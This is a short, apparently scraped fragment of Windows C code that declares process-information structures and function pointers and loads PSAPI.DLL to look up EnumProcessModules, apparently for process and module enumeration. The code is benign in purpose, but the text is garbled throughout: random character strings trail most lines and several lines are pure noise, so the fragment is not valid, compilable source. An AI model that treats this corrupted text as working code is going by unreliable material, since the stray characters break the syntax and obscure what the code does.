ULONG InheritedFromUniqueProcessId; ~'iuh>O)
} PROCESS_BASIC_INFORMATION; z[OEgHI
ljmHX2p
PROCNTQSIP NtQueryInformationProcess; VEm[F/'
9x<
8(]\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
^k=[P
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n\U6oJN
r$zXb9a|<
HANDLE hProcess; E;0"1
P|S
PROCESS_BASIC_INFORMATION pbi; rtz(Jt{<
F$C:4c
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C%"@|01cO
if(NULL == hInst ) return 0; ,3u19>2
[MG:Ym).2`
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '/?&Go